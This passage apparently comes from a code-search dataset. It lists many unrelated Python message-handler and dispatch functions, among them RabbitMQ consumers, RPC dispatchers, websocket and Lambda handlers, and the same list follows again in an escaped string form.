ReceiverError(etxt.format(obj, name))\n\n meth_type = getattr(meth, '__receiver__method__', '')\n if meth_type not in (MESSAGE_RECEIVER, MESSAGE_ROUTER):\n etxt = \"Method '{}' of {} is forbidden.\"\n raise ReceiverError(etxt.format(name, obj, pinfo))\n if meth_type == MESSAGE_RECEIVER and index != max_index:\n etxt = \"Got receiver method '{}' of {}, expected router.\"\n raise ReceiverError(etxt.format(name, obj))\n if meth_type == MESSAGE_ROUTER and index == max_index:\n etxt = \"Got router method '{}' of {}, expected receiver.\"\n raise ReceiverError(etxt.format(name, obj))\n\n if (meth.__sign__ == INTERNAL_USER_SIGN and\n sign not in (INTERNAL_SIGN, USER_SIGN)):\n raise SignError(\"Necessary internal or user's sign.\")\n elif meth.__sign__ == INTERNAL_SIGN and sign != INTERNAL_SIGN:\n raise SignError(\"Necessary internal sign.\")\n elif meth.__sign__ == USER_SIGN and sign != USER_SIGN:\n raise SignError(\"Necessary user's sign.\")\n\n if meth_type == MESSAGE_ROUTER:\n if not root:\n return meth(path, kwargs, sign, index)\n return partial(meth, path, kwargs, sign, index)\n if meth_type == MESSAGE_RECEIVER:\n if not root:\n return meth(kwargs)\n return partial(meth, kwargs)\n except Exception:\n type, value, traceback = sys.exc_info()\n args = list(value.args)\n if args:\n args[0] = '{} {}'.format(args[0], pinfo)\n else:\n args = [pinfo]\n raise type(*args)","def lambda_handler(event, context):\n\n operations = {\n 'POST': main,\n }\n\n if event.get('httpMethod', False):\n operation = event['httpMethod']\n else:\n operation = \"not available\"\n\n payload = base64.b64decode(event['body'])\n try:\n payload = json.loads(payload)\n except TypeError:\n pass\n\n if operation in operations:\n return respond(None, operations[operation](payload))\n else:\n return respond(ValueError(f'Unsupported method {operation}'))","def endpoint(_wrapped_function=None, lenient=False, **kwargs):\n\n if len(kwargs) > 1:\n raise IndexError(\"Cannot have more than one mapping for request body\")\n\n if len(kwargs) == 1:\n body_param_name = list(kwargs.keys())[0]\n body_param_type = list(kwargs.values())[0]\n\n if not isinstance(body_param_type, messages._MessageClass):\n raise TypeError(\"Body must be of type pytracts.messages.Message\")\n else:\n body_param_name = None\n body_param_type = None\n\n def get_wrapper(body_param_name, body_param_type, lenient, f):\n def wrapper(self, *arguments, **keywords):\n pj = to_json.JsonEncoder()\n\n # If we have a body message provided, this request must be json\n if body_param_name:\n request_content_type = self.request.content_type\n\n if request_content_type is not None:\n request_content_type = request_content_type.lower().split(\";\")[0]\n\n if request_content_type != \"application/json\" and not lenient:\n raise exceptions.HTTPUnsupportedMediaType(\"Content type must be 'application/json'\")\n\n try:\n m = pj.decode_message(body_param_type, self.request.body)\n keywords[body_param_name] = m\n\n except (ValueError, messages.Error) as error:\n raise exceptions.HTTPBadRequest(error.message or \"Request body JSON is invalid.\")\n\n try:\n # Everything is good. Call the actual handler method\n result = f(self, *arguments, **keywords)\n\n response_code = None\n headers = {}\n except Exception as e:\n result = message_types.error_message_from_exception(e)\n\n headers = {}\n response_code = 500\n\n if hasattr(e, 'code'):\n response_code = e.code\n\n # Log only errors\n if response_code < 200 or response_code > 404:\n logging.exception(e)\n\n if type(result) != tuple:\n result = (result,)\n\n for val in result:\n if type(val) == int:\n response_code = val\n elif type(val) == dict:\n headers.update(val)\n elif isinstance(val, messages.Message):\n response_code = response_code or 200\n self.response.content_type = 'application/json'\n self.response.write(pj.encode_message(val))\n\n if response_code:\n self.response.status_int = response_code\n\n for k, v in headers.items():\n self.response.headers[k] = v\n\n return wrapper\n\n if _wrapped_function is not None and hasattr(_wrapped_function, '__call__'):\n return get_wrapper(body_param_name=body_param_name, body_param_type=body_param_type, lenient=lenient, f=_wrapped_function)\n else:\n return util.curry(get_wrapper, body_param_name, body_param_type, lenient)","def __call__(self, *args, **kwargs): # real signature unknown\n pass","def __call__(self, *args: Sequence[Any], **kwargs: Mapping[str, Any]) -> Any:\n return self._target(*args, **kwargs)","def on_bus_message(self, bus, message):\n pass","def message_received_handler(pdu, **kwargs):\n\n logging.warning('Message received handler (Override me)')","def handler(self, command, args=[]):\n ###\n # command parsing and handling logic to be implemented by child\n ###\n if not command and not hasattr(self, 'handle_'):\n return f'Service {str(self.__class__.__name__)}: {self.__doc__ or \"\"}'\n methodname = 'handle_{}'.format(command or '')\n logger.info('method name: {}'.format(methodname))\n logger.info('args: {}'.format(args))\n method = self.__getattribute__(methodname)\n return method(args)","def route(self, method, pattern, handler):\n pass","def Handler(self, *events: str, colon: bool = False,\n ircv3: bool = False) -> Callable:\n ...","def __call__(self, payload: Union[bytes, str]) -> None:\n self.send(payload)","def handle(self, *args, **options):\n raise NotImplementedError()","def call(self, message: Message) -> None:\n self.fn(message)","def application_message(self, bus, msg):\n\t\tmsgtype = msg.structure.get_name()\n\t\tif msgtype == 'partial_result':\n\t\t\tself.partial_result(msg.structure['hyp'], msg.structure['uttid'])\n\t\telif msgtype == 'result':\n\t\t\tself.final_result(msg.structure['hyp'], msg.structure['uttid'])","def dispatch(self, sender, event, *args, **kwargs):\n pass # pragma: no cover","def process(self, msg):\n print \"HANDLER: received a msg: %s\" % msg","def on_message(self, channel, method, properties, body):\n if self.acked:\n self.acknowledge_message(method.delivery_tag)\n if self.cb is not None:\n # call the user specified callback\n self.cb(channel, method, properties, body)\n if self.otq:\n self.stop()\n else:\n self.logger.error(\"Received message, but no callback routine set\")","def onMessage(self, payload, isBinary):","def run(self):\n alogger.info(\"Recieved message from %s, Message: (%d) %s\" % (self.client.getaddress(), self.action_type, self.message))\n \n #Try to call th function associated with this message type.\n #format = \"handle_<type>\" (eg: handle_100)\n fn = globals().get(\"handle_\" + str(self.action_type))\n if fn and callable(fn):\n fn(self.message, self.address, self.client)\n else:\n alogger.info(\"Received unknown message from %d, type: %d\" % (self.client.getaddress(), self.action_type))","async def handle_message(self, *args, **kwargs):\n\n # setup middlewares it not ready\n if not self.middleware_is_ready:\n self.setup_middlewares()\n\n # get a UserMessage object from args passed\n message = self.create_user_message(*args, **kwargs)\n \n # sends UserMessage to middlewares\n await self.proccess_message(message)","def handle(self, name, callable_obj, args, kwargs):\n if callable_obj is None:\n self.msg = kwargs.pop('msg', None)\n return self\n with self:\n callable_obj(*args, **kwargs)","def handle_delivery(channel, method, header, body):\n print(body)","def on_action(self, message):\n with self.handler.wrapee as wrapee:\n log.debug(\"Calling {method} on {name}\", method=message['action'], name=self.name)\n try:\n func = getattr(wrapee, message['action'])\n except AttributeError as ex:\n log.warn(\"Trying to call a method {method} that does not exsist!\",\n method=ex.args[0])\n return\n res, msg = func(*message['args'])\n if not res:\n log.warn(\"Error while calling {method}: {msg}\", msg=msg,\n method=message['action'])\n else:\n log.debug(\"Called method succesfully\")\n for protocol in self.service.protocols:\n protocol.send_packet()\n if msg != '':\n protocol.send_news(msg)","def application_message(self, bus, msg):\n msgtype = msg.structure.get_name()\n if msgtype == 'partial_result':\n self.partial_result(msg.structure['hyp'], msg.structure['uttid'])\n if msgtype == 'result':\n self.final_result(msg.structure['hyp'], msg.structure['uttid'])","def application_message(self, bus, msg):\n msgtype = msg.structure.get_name()\n if msgtype == 'partial_result':\n self.partial_result(msg.structure['hyp'], msg.structure['uttid'])\n if msgtype == 'result':\n self.final_result(msg.structure['hyp'], msg.structure['uttid'])","def handle_message(self, msg):\n\n if msg.error != None:\n return\n else:\n try:\n method = self.get_service_method(msg.method_name)\n params = getattr(msg, 'params', None)\n msg.result = self.execute_method(method, params)\n except (MethodNotFoundError, InvalidParamsError, ServerError), ex:\n logging.error(ex)\n msg.error = ex\n except Exception, ex:\n logging.error(ex)\n ex = InternalError(\"Error executing service method\")\n ex.data = ''.join(traceback.format_exception(*sys.exc_info()))\n msg.error = ex","def handle_message(self, message):","def __call__(self, args, kwargs):\n raise NotImplementedError","def __call__(self, *args, **kwargs):\n\t\tself.args = args\n\t\tself.kwargs = kwargs\n\t\tself.request = request\n\n\t\ttry:\n\t\t\tself.initial(request, *args, **kwargs)\n\n\t\t\t# Get the appropriate handler method\n\t\t\tif request.method.lower() in self.declared_methods:\n\t\t\t\thandler = getattr(self, request.method.lower(), self.http_method_not_allowed)\n\t\t\telse:\n\t\t\t\thandler = self.http_method_not_allowed\n\n\t\t\tresponse = handler(*args, **kwargs)\n\t\t\tif response is None:\n\t\t\t\tresponse = self.dispatch()\n\n\t\texcept Exception as e:\n\t\t\tresponse = self.handle_exception(e)\n\n\t\treturn self.finalize_response(request, response, *args, **kwargs)","def incoming(self, context, message, fake_reply=None):\r\n if message.interface != self._id:\r\n return False\r\n if message.is_reply:\r\n return False\r\n if message.method not in self._methods:\r\n eprint(\"{}:{} Unsupported method {}\".format(self._host.name, self._name, message.method))\r\n return False\r\n if self._map[message.method] is None:\r\n eprint(\"{}:{} Method {} is not implemented\".format(self._host.name, self._name, message.method))\r\n return False\r\n self._incoming_handler(context, message, fake_reply)","def on_message(self, unused_channel, basic_deliver, properties, body):\n LOGGER.debug('Received message # %s from %s: %s',\n basic_deliver.delivery_tag, properties.app_id, body)\n\n if basic_deliver.routing_key in self._handlers:\n # future that will handle this request,\n # and a callback invoked to handle it\n future = self._wrap_handler(\n self._handlers[basic_deliver.routing_key],\n body)\n # functools.partial is used to invoke future by name\n # without creating a nested func\n callback = functools.partial(\n self._on_reply,\n reply_tag=basic_deliver.delivery_tag,\n answer_tag=properties.reply_to,\n correlation_id=properties.correlation_id)\n\n # get ioloop and exec it\n self._ioloop.add_future(future, callback)\n else:\n LOGGER.debug('Skipping non-handed message with request to %s' %\n basic_deliver.routing_key)","def __call__(self, *args, **kwargs):\n return self.method(*args, **kwargs)","def __call__(self, *args, **kwargs):\n return self.forward(*args, **kwargs)","def _dispatch(self, method, params):\n logging.debug('Calling %s%s', method, params)\n self._rpc_received_event.set()\n return SimpleJSONRPCServer.SimpleJSONRPCServer._dispatch(\n self, method, params)","def on_message(self, unused_channel, basic_deliver, properties, body):\n\n start = time.time()\n self.invocations += 1\n\n logger.info(\n u\"[{}] received message #{} from exchange {}: {}\".format(self.bot_id,\n basic_deliver.delivery_tag, self.exchange,\n body.decode('utf-8')))\n\n self.statsd.incr(self.statsd_prefix + \"message.receive\")\n\n # Ack the message before processing to tell rabbit we got it.\n # TODO before sending ack we should persist the message in a local queue to avoid the possibility of losing it\n self.acknowledge_message(basic_deliver.delivery_tag)\n\n try:\n\n try:\n json_body = json.loads(body)\n\n except ValueError as ve:\n logger.exception(\n \"[{}] Invalid JSON received from exchange: {} error: {} msg body: []\".format(self.bot_id,\n self.exchange,\n ve.message, body))\n raise\n\n else:\n response_messages = self.callback_func(json_body)\n\n if response_messages is None:\n response_messages = []\n\n logger.info(\"[{}] Sending {} response messages\".format(self.bot_id, len(response_messages)))\n\n for message in response_messages:\n self._channel.basic_publish(exchange=message.get('exchange', self.exchange),\n routing_key=message.get('queue', self.queue_name),\n body=message.get('body'))\n logger.info(\"[{}] published message {}\".format(self.bot_id, message))\n self.statsd.incr(self.statsd_prefix + \"message.publish\")\n\n except Exception as e:\n msg = \"[{}] Unexpected error - {}, message {}, from exchange {}. sending to error queue {}\"\n self.statsd.incr(self.statsd_prefix + \"message.error\")\n logger.exception(msg.format(self.bot_id, e, body, self.exchange, self.error_queue_name))\n self._channel.basic_publish(exchange='',\n routing_key=self.error_queue_name,\n body=body)\n\n\n exec_time_millis = int((time.time() - start) * 1000)\n self.total_execution_time += exec_time_millis\n\n logger.debug(\"Consumer {0} message handling time: {1}ms\".format(self.consumer_id, exec_time_millis))\n\n # if we have processed 100 messages, log out the average execution time at INFO then reset the total\n if self.invocations % 100 == 0:\n average_execution_time = self.total_execution_time / 100\n logger.info(\"Consumer {0} Avg message handling time (last 100): {1}ms\".format(self.consumer_id, average_execution_time))\n self.total_execution_time = 0\n\n self.statsd.timing(self.statsd_prefix + 'message.process.time', int((time.time() - start) * 1000))","def send(self, *args, **kwargs):\n self._dispatcher.send(*args, **kwargs)","def handle_message(self, validated_message: dict):\n self.logger.debug(f'Sensor received message {validated_message}')\n if (validated_message['messageType'] !=\n model.MessageTypes.Control.value):\n self.logger.debug(\n 'Sensor ignoring because messageType was not control'\n )\n return\n if validated_message['messageBody']['target'] != self.component_id:\n self.logger.debug(\n 'Sensor ignoring because not targeted at me'\n )\n return\n\n subtype = validated_message['messageSubtype']\n try:\n self.logger.debug(f'Dispatching message with subtype {subtype}')\n self.message_handler_table[subtype](validated_message)\n except KeyError:\n self.logger.warning(f'No handler for with subtype {subtype}')\n pass","def receive(self, content, **kwargs):\n print(content)\n dispatch(content, self.path[1:])","def consume(self, handler) -> None:\n pass # pragma: no cover","def handle(self, message):\n print(\"You received a message:\")\n print(message)\n # Overwrite this function to do something with the message!","def handle_message(self, from_channel, to_channel, message_type, *args):\n logger.debug(\"{} received message: {} -> {} ({})\".format(\n self, from_channel, to_channel, message_type,\n ))\n # TODO: Validation\n if message_type == msgtypes.AI_CHANNEL_ASSIGNED:\n channel = args[0]\n self.handle_channel_assigned(channel)\n elif message_type == msgtypes.AI_CONNECTED:\n channel = args[0]\n self.handle_ai_connected(channel)\n elif message_type == msgtypes.CLIENT_CONNECTED:\n client_id = args[0]\n self.handle_client_connected(client_id)\n elif message_type == msgtypes.CLIENT_DISCONNECTED:\n client_id = args[0]\n self.handle_client_disconnected(client_id)\n elif message_type == msgtypes.DOBJECT_CREATED:\n dobject_id = args[0]\n token = args[1]\n self.handle_dobject_created(dobject_id, token)\n elif message_type == msgtypes.CREATE_DOBJECT_VIEW:\n dobject_id = args[0]\n dclass = args[1]\n fields = args[2]\n self.handle_create_dobject_view(dobject_id, dclass, fields)\n elif message_type == msgtypes.CREATE_AI_VIEW:\n dobject_id = args[0]\n dclass = args[1]\n fields = args[2]\n self.handle_create_ai_view(dobject_id, dclass, fields)\n elif message_type == msgtypes.FIELD_UPDATE:\n source = from_channel\n dobject_id = args[0]\n field_id = args[1]\n values = args[2]\n self.handle_field_update(source, dobject_id, field_id, values)\n else:\n # FIXME: Better to log it and drop it on the floor?\n raise NotImplementedError","def apply_handler(self):\n tmp = self.event_type\n if hasattr(self, tmp):\n getattr(self, tmp)()\n elif(self.target):\n self.message = self.message +\"\\r\\n\"\n self.target[0].send(self.message)","def __call__(self, *args, **kwargs):\n return function(args, addtional_info)","def main(msg: func.ServiceBusMessage):\r\n\r\n # Extract the method into a dictionary\r\n msg_dict = json.loads(msg.get_body().decode(\"utf-8\"))\r\n\r\n logging.info(f\"Python ServiceBus queue trigger processed message: {msg_dict}\")\r\n\r\n # Enable a connection with the IoT Hub. The connectionstring for the IoT Hub\r\n # is preloaded in the Azure Functions configurations.\r\n connectino_string_iothub = os.getenv(\"connectionStringIotHub\")\r\n registry_manager = IoTHubRegistryManager(connectino_string_iothub)\r\n\r\n # Settings for the method that the IoT Device should run upon receiving the message.\r\n callback_method = \"start_fan\"\r\n callback_payload = {}\r\n device_method = CloudToDeviceMethod(\r\n method_name=callback_method, payload=callback_payload\r\n )\r\n\r\n # Sending the actual cloud-to-device message and invoke a function on the IoT device.\r\n device_id = msg_dict[\"IoTHub\"][\"ConnectionDeviceId\"]\r\n response = registry_manager.invoke_device_method(device_id, device_method)\r\n\r\n print(\"\")\r\n print(\"Device Method called\")\r\n print(\"Device Method name : {0}\".format(callback_method))\r\n print(\"Device Method payload : {0}\".format(callback_payload))\r\n print(\"\")\r\n print(\"Response status : {0}\".format(response.status))\r\n print(\"Response payload : {0}\".format(response.payload))","def class_message_handler(\n self,\n *custom_filters,\n commands=None,\n regexp=None,\n content_types=None,\n state=None,\n run_task=None,\n **kwargs\n ):\n\n def decorator(class_):\n handler = class_()\n\n self.register_message_handler(\n handler.callback,\n *custom_filters,\n commands=commands,\n regexp=regexp,\n content_types=content_types,\n state=state,\n run_task=run_task,\n **kwargs\n )\n return class_\n\n return decorator","def _handle_msg(self, msg):\n data = msg['content']['data']\n method = data['method']\n\n if method == 'update':\n if 'state' in data:\n state = data['state']\n if 'buffer_paths' in data:\n _put_buffers(state, data['buffer_paths'], msg['buffers'])\n self.set_state(state)\n\n # Handle a state request.\n elif method == 'request_state':\n self.send_state()\n\n # Handle a custom msg from the front-end.\n elif method == 'custom':\n if 'content' in data:\n self._handle_custom_msg(data['content'], msg['buffers'])\n\n # Catch remainder.\n else:\n self.log.error('Unknown front-end to back-end widget msg with method \"%s\"' % method)","def handle_message(self, message):\n\n try:\n controller_func = get_controller_func(message.code)\n\n if controller_func:\n response = get_controller_func(message.code)(message.payload)\n self.send_message(response)\n else:\n self.send_bad_request()\n except Exception as e:\n Logger.log_error(e)\n self.send_server_error()","def __call__(self, *args):\n\n\t\tself.send(self.format(*args))","def _handle(self, *args, **options):\n return super()._handle(*args, **options)","def handle_message(self, data, channel):\n pass","def incoming(self,message):\n #Convert to Dictionary, Whatever the input is\n if isinstance(message, str):\n message = json.loads(message)\n elif isinstance(message, bytes):\n message = self.deserialize(message)\n\n op = message.get(\"op\")\n if op == \"publish\":\n message[\"msg\"] = self.decompress(message[\"topic\"],message.get(\"msg\"))\n message[\"topic\"] = self.remap_topic(message[\"topic\"]) \n elif op == \"advertise\":\n message[\"topic\"] = self.remap_topic(message[\"topic\"])\n elif op == \"advertise_service\" or op == \"service_response\":\n message[\"service\"] = self.remap_service(message[\"service\"])\n\n\n message = json.dumps(message)\n #--------\n #replace JSON Null values in float32 types with infinity datatype (changed according to the error for LaserScan values)\n message = message.replace(\"null\", \"Infinity\")\n #--------\n self._protocol.incoming(message)","def received(self, message):\n raise NotImplementedError()","def handle_message(self, sender, message):\n self.logger.debug('handle_message(%r, %r)', sender, message.handler)\n\n message_handler = self.message_handlers.get(message.handler)\n if message_handler is None:\n self.logger.warning(\"sender=%r, No handler found: '%s'\",\n sender, message.handler)\n return\n\n message_handler(sender, message)","def handle_message(self, msg, identity=None):\n\n if (self._supervisor and\n not isinstance(msg, mplane.model.Envelope)):\n self._exporter.put_nowait([msg, identity])\n\n if isinstance(msg, mplane.model.Capability):\n self._add_capability(msg, identity)\n elif isinstance(msg, mplane.model.Withdrawal):\n self._withdraw_capability(msg, identity)\n elif isinstance(msg, mplane.model.Receipt):\n self._handle_receipt(msg, identity)\n elif isinstance(msg, mplane.model.Result):\n self._handle_result(msg, identity)\n elif isinstance(msg, mplane.model.Exception):\n self._handle_exception(msg, identity)\n elif isinstance(msg, mplane.model.Envelope):\n if msg.get_token() in self._receipts:\n self._handle_result(msg, identity)\n else:\n for imsg in msg.messages():\n self.handle_message(imsg, identity)\n else:\n raise ValueError(\"Internal error: unknown message \"+repr(msg))","def handle(self, parsed_args):\n raise NotImplementedError","def broadcast(self, message, *args):\n\t\tmethod = getattr(self, message, None)\n\t\tif method:\n\t\t\tmethod(*args)","def __call__(self, *events):\n if self._func_is_method and self._ob is not None:\n return self._func(self._ob(), *events)\n else:\n return self._func(*events)","def _handle_message(self, msg):\n self.event('message', msg)","def process_action(*args, **kwargs):\n raise NotImplementedError()","def get_message_handler(self, taxii_message):\n raise NotImplementedError()","def handle_inbound_sms_call_me(to, from_):\n handle_call_me(to, from_)","def DispatcherOperation(*args, **kwargs): # real signature unknown\r\n pass","def call(self, body):\n try:\n json_data = json.loads(body.decode('utf-8'))\n except (json.decoder.JSONDecodeError, UnicodeDecodeError) as err:\n raise Exception(\"Unable to deserialize message body (%s), \"\n \"rejecting: %r\" % (err, body))\n try:\n meta_type = json_data.get(\"meta\", {}).get(\"type\")\n event = getattr(eiffellib.events, meta_type)(json_data.get(\"meta\", {}).get(\"version\"))\n except (AttributeError, TypeError) as err:\n raise Exception(\"Malformed message. Rejecting: %r\" % json_data)\n try:\n event.rebuild(json_data)\n except Exception as err:\n raise Exception(\"Unable to deserialize message (%s): %r\" % (err, json_data))\n try:\n ack = self._call_subscribers(meta_type, event)\n self._call_followers(event)\n except: # noqa, pylint:disable=bare-except\n _LOG.error(\"Caught exception while processing subscriber \"\n \"callbacks, some callbacks may not have been called: %s\",\n traceback.format_exc())\n ack = False\n return ack, True # Requeue only if ack is False.","def message_handle(ws, message):\n try:\n data = json.loads(message)\n method = data['method']\n params = data['params']\n except json.JSONDecodeError:\n ws.close((1003, 'Message `{}` is invalid'.format(message)))\n except KeyError:\n keys = str(list(data.keys()))\n ws.close((1003, 'Message keys {} are missing or invalid'.format(keys)))\n else:\n try:\n public[method](ws, **params)\n except KeyError:\n ws.close((1007, 'Method `{}` not found'.format(method)))\n except TypeError:\n ws.close((1007, 'Parameters `{}` are wrong'.format(data['params'])))\n except InstanceNotFound as instance_id:\n ws.close((1007, 'Instance `{}` not found'.format(instance_id)))\n except EnvironmentMalformed as env_id:\n ws.close((1007, 'Environment `{}` is malformed'.format(env_id)))\n except EnvironmentNotFound as env_id:\n ws.close((1007, 'Environment `{}` not found'.format(env_id)))\n except WrongAction as action:\n ws.close((1007, 'Action `{}` is wrong'.format(action)))\n except Exception as err:\n ws.close((1007, 'Unknonwn error: {}'.format(err)))","def process(self, payload, status_code=0):","def handleMessage(self, channels, sender, code, datagram):\n self.stateServer.handle(channels, sender, code, datagram)\n self.clientAgent.handle(channels, sender, code, datagram)\n self.databaseServer.handle(channels, sender, code, datagram)","def process_message(self, message):\n\n if 'id' in message:\n logger.debug(\"Processing message {0}: {1!r}\",\n message['id'], message['method'])\n else:\n logger.debug(\"Processing method {0!r}\", message['method'])\n\n response = self.get_response(message.get('id', None),\n self.registry,\n message['method'],\n *message['params'])\n return response","def _handler(self, bot, update, *args, **kwargs):\n raise NotImplementedError('Not implemented command handler method.')","def _wrap_handler(self, handler, body):\n try:\n decoded_body = json.loads(body)\n result = yield handler(decoded_body)\n return result\n except Exception as e:\n return {\"error\": str(e)}"],"string":"[\n \"def handle_message(**payload):\\n handler_instance = message.MessageHandler(payload)\\n handler_instance.handle()\",\n \"def _incoming_handler(self, context, message, fake_reply):\\r\\n return self._map[message.method](context, fake_reply, *message.args, **message.kwargs)\",\n \"def _handler(self, message):\\n\\n data = pickle.loads(message['data'])\\n\\n if not data[2]:\\n # empty method call; bail out\\n return\\n\\n # call the function and respond to the proxy object with return value\\n uuid = data[0]\\n proxy = data[1]\\n func = getattr(self, data[2])\\n result = (uuid, func(*data[3], **data[4]))\\n self._redis.publish('proxy:%s' % proxy, pickle.dumps(result))\",\n \"def process(self, message: Message, **kwargs: Any) -> None:\",\n \"def processMessage(self, *args, **kwargs):\\r\\n pass\",\n \"def __call__(self, *args, **kwargs):\\n return self.method(self.receiver, *args, **kwargs)\",\n \"def __call__(self, *args, **kwargs):\\n\\t\\treturn self.handler()(self.request(kwargs))\",\n \"def handle(self, body):\\n event_type = body['event_type']\\n method_name = event_type.replace('.', '_')\\n try:\\n method = getattr(self, method_name)\\n method(body)\\n except AttributeError:\\n LOG.debug('%s needs a method called `%s` to handle %s' %\\n (self.__class__.__name__, method_name, event_type))\",\n \"def process_method(self, method, args, kwargs, request_id=None, **context):\\n return method(*([] if args is None else args), **({} if kwargs is None else kwargs))\",\n \"def __call__(self,data):\\n\\n log.debug('got data: %s' % (len(data)))\\n\\n # if we don't have args yet, these must be them\\n if not self.args:\\n self.parse_args(data)\\n\\n else:\\n # we've already got args, must\\n # be a message\\n self.handle_send(data)\",\n \"def call(self, method, name, params=None, payload=None, **kwds):\",\n \"def incoming(self, msg):\\n hdr = msg.header\\n\\n # Signals:\\n if hdr.message_type is MessageType.signal:\\n key = (hdr.fields.get(HeaderFields.path, None),\\n hdr.fields.get(HeaderFields.interface, None),\\n hdr.fields.get(HeaderFields.member, None)\\n )\\n cb = self.signal_callbacks.get(key, None)\\n if cb is not None:\\n cb(msg.body)\\n return\\n\\n # Method returns & errors\\n reply_serial = hdr.fields.get(HeaderFields.reply_serial, -1)\\n reply_handle = self.awaiting_reply.pop(reply_serial, None)\\n if reply_handle is not None:\\n if hdr.message_type is MessageType.method_return:\\n reply_handle.set_result(msg.body)\\n return\\n elif hdr.message_type is MessageType.error:\\n reply_handle.set_exception(DBusErrorResponse(msg))\\n return\\n\\n if self.on_unhandled:\\n self.on_unhandled(msg)\",\n \"def process(self, message: Message, **kwargs: Any) -> None:\\n pass\",\n \"def messageHandler(self, source, message, messageId):\\n try:\\n type, params, data = message.split(':',2)\\n except:\\n # Not a real message\\n return\\n \\n try:\\n getattr(self, \\\"thive_%s\\\" % type)(messageId, params.split(), data)\\n except exceptions.AttributeError, c:\\n raise c\\n print \\\"[HIVE] No method bound for command '%s'\\\" % type\",\n \"def __call__(self, *args, **params):\\n\\t\\treturn self.send(params)\",\n \"def handle(self, message):\",\n \"def handle(self, args):\\n\\n logger.debug('ARGS: %s', args)\\n args = json.loads(args)\\n\\n try:\\n logger.info('Handling %s request.' % args['method'])\\n method = 'handle_' + args['method'].lower()\\n if callable(getattr(self, method, None)):\\n return operator.methodcaller(method, args)(self)\\n else:\\n return self.error('Invalid method for this endpoint', httplib.METHOD_NOT_ALLOWED)\\n except ValueError as e:\\n msg = 'ValueError: %s' % e.message\\n return self.error(msg, httplib.BAD_REQUEST)\\n except splunk.RESTException as e:\\n return self.error('RESTexception: %s' % e, httplib.INTERNAL_SERVER_ERROR)\\n except Exception as e:\\n msg = 'Unknown exception: %s' % e\\n logger.exception(msg)\\n return self.error(msg, httplib.INTERNAL_SERVER_ERROR)\",\n \"def handle(self, *args, **kwargs):\\n raise NotImplementedError()\",\n \"def make_new_handler(self, *args, **kwargs):\",\n \"def on_bus_message(self, channel, method_frame, header_frame, body):\\n\\n try:\\n # there are two messages that get broadcast that we really\\n # don\\\"t care about. They have to do with feed synchronization\\n # and other internal book-keeping\\n if method_frame.routing_key in self.capture_events:\\n event = {\\n \\\"content_type\\\": header_frame.content_type,\\n \\\"routing_key\\\": method_frame.routing_key,\\n \\\"body\\\": body\\n }\\n self.logger.debug(\\\"Received Message: %s - %s\\\" % (header_frame.content_type, method_frame.routing_key))\\n self.processor_pool.apply_async(process_event, (self.event_processor, event))\\n\\n else:\\n self.logger.debug(\\\"Unknown message info: %s\\\" % method_frame.routing_key)\\n\\n except:\\n self.logger.exception(\\\"Error processing bus message\\\")\",\n \"def call(self, *args, **kwargs):\",\n \"def on_message(client, userdata, msg):\\n TOPIC_DISPATCH_DICTIONARY[msg.topic][\\\"method\\\"](msg)\",\n \"def handle_message(self, message):\\n\\n\\t\\tself.log.debug(\\\"%s handle_message %s\\\", self.name, message)\\n\\n\\t\\tif message[\\\"Type\\\"] == \\\"command\\\":\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tcommand_callable = \\\"command_%s\\\" % message[\\\"Message\\\"][\\\"command\\\"]\\n\\t\\t\\t\\tif hasattr(self, command_callable) and callable(getattr(self, command_callable)):\\n\\t\\t\\t\\t\\tcall = getattr(self, command_callable)\\n\\t\\t\\t\\t\\tcall(message[\\\"Message\\\"][\\\"arguments\\\"])\\n\\t\\t\\texcept Exception as e:\\n\\t\\t\\t\\tself.log.error(\\\"%s invalid command %s %s\\\", self.name, message, e)\",\n \"def invoke(self, event_args, *args, **kwargs):\\n pass # pragma: no cover\",\n \"def _dispatch(self, body):\\n pass\",\n \"def Message(self, *args, **kwargs):\\n pass\",\n \"def message_handler(self, dest, source, message):\\n pass\",\n \"def __call__(self, data, **kwargs):\",\n \"def __call__(self, details: CallableDetails, arg: CallableArg, obj: Any) -> Handler:\\n if not details.is_async:\\n raise HandlerFactoryError(f\\\"Object {details.obj!r} is not async callable\\\")\\n\\n subject_name: Optional[str]\\n if self.subject_as_keyword or not arg.is_positional:\\n subject_name = arg.name\\n else:\\n subject_name = None\\n\\n if self.arg_strict or details.has_kwargs:\\n allow_args = None\\n else:\\n allow_args = {arg.name for arg in details.args}\\n\\n return CallableHandler(\\n obj=obj,\\n fn=details.obj,\\n key=arg.type,\\n subject_name=subject_name,\\n arg_map=self.arg_map,\\n allow_args=allow_args,\\n )\",\n \"def on_message(self, handler: Callable[[Request], Coroutine[Any, Any, Any]]):\\n self.on_message_handler = handler\",\n \"def dispatch_any(self, request, handler, *args, **kwargs):\\r\\n return handler(request, *args, **kwargs)\",\n \"def _dispatch(obj, path, kwargs, sign, index, root=False):\\n\\n name = path[index]\\n max_index = len(path) - 1\\n\\n path_info = list(path)\\n path_info[index] = '|' + name + '|'\\n pinfo = 'Path: ' + '.'.join(path_info)\\n\\n try:\\n meth = getattr(obj, name, None)\\n if meth is None:\\n if isinstance(obj, ProxyMixin):\\n rest_path = path[index:]\\n obj.proxy_method(rest_path, sign, kwargs)\\n if not root:\\n return dummy_generator()\\n return dummy_generator\\n else:\\n etxt = '{} has no method {}.'\\n raise ReceiverError(etxt.format(obj, name))\\n\\n meth_type = getattr(meth, '__receiver__method__', '')\\n if meth_type not in (MESSAGE_RECEIVER, MESSAGE_ROUTER):\\n etxt = \\\"Method '{}' of {} is forbidden.\\\"\\n raise ReceiverError(etxt.format(name, obj, pinfo))\\n if meth_type == MESSAGE_RECEIVER and index != max_index:\\n etxt = \\\"Got receiver method '{}' of {}, expected router.\\\"\\n raise ReceiverError(etxt.format(name, obj))\\n if meth_type == MESSAGE_ROUTER and index == max_index:\\n etxt = \\\"Got router method '{}' of {}, expected receiver.\\\"\\n raise ReceiverError(etxt.format(name, obj))\\n\\n if (meth.__sign__ == INTERNAL_USER_SIGN and\\n sign not in (INTERNAL_SIGN, USER_SIGN)):\\n raise SignError(\\\"Necessary internal or user's sign.\\\")\\n elif meth.__sign__ == INTERNAL_SIGN and sign != INTERNAL_SIGN:\\n raise SignError(\\\"Necessary internal sign.\\\")\\n elif meth.__sign__ == USER_SIGN and sign != USER_SIGN:\\n raise SignError(\\\"Necessary user's sign.\\\")\\n\\n if meth_type == MESSAGE_ROUTER:\\n if not root:\\n return meth(path, kwargs, sign, index)\\n return partial(meth, path, kwargs, sign, index)\\n if meth_type == MESSAGE_RECEIVER:\\n if not root:\\n return meth(kwargs)\\n return partial(meth, kwargs)\\n except 